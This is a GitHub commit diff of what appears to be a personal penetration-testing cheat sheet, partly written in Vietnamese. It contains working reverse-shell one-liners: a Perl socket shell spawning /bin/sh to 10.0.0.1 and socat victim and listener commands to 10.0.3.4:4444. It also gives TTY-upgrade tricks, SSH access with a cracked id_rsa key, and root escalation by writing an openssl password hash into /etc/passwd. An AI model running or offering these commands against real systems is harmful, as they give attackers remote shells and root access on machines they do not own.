SSH + Linux password

This commit is contained in:
haudang217 2022-08-25 15:38:35 +07:00 committed by GitHub
parent 990d7ce1aa
commit b4734e190e
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -8,8 +8,7 @@
* Perl * Perl
perl -e 'use Socket;$i="10.0.0.1"; perl -e 'use Socket;$i="10.0.0.1";
$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S $p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))))
,sockaddr_in($p,inet_aton($i))))
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh {open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh
-i");};' -i");};'
@ -74,10 +73,10 @@ UPGRADING SIMPLE SHELLS TO FULLY INTERACTIVE TTYs
python -c 'import pty; pty.spawn("/bin/bash")' python -c 'import pty; pty.spawn("/bin/bash")'
• using socat • using socat
#Listener: #Listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444 socat file:`tty`,raw,echo=0 tcp-listen:4444
#Victim: #Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
• using stty options • using stty options
# In reverse shell # In reverse shell
@ -104,7 +103,19 @@ Tìm nhiều hơn tại link sau: https://gtfobins.github.io/
----------------------------------------------------------------------------------------------------------------------- -----------------------------------------------------------------------------------------------------------------------
CÁC VẤN ĐỀ LIÊN QUAN ĐẾN SSH
Có thể thực hiện việc ssh thông qua một file id_rsa chứa private_key với cấu trúc: sss username@ip -i id_rsa
File này có thể được crack thông qua link sau: https://www.hackingarticles.in/beginners-guide-for-john-the-ripper-part-2/
-----------------------------------------------------------------------------------------------------------------------
CẤN VẤN ĐỀ LIÊN QUAN ĐẾN PASSWORD TRONG LINUX
Có thể tạo ra một password theo chuẩn của linux tạo ra thông qua: Openssl passwd "password"
Password thường chứa trong /etc/shadow nhưng ta có thể hoàn toàn thay thế trong file /etc/passwd (tập tin này mọi user đều có quyền read).
------------------------------------------------------------------------------------------------------------------------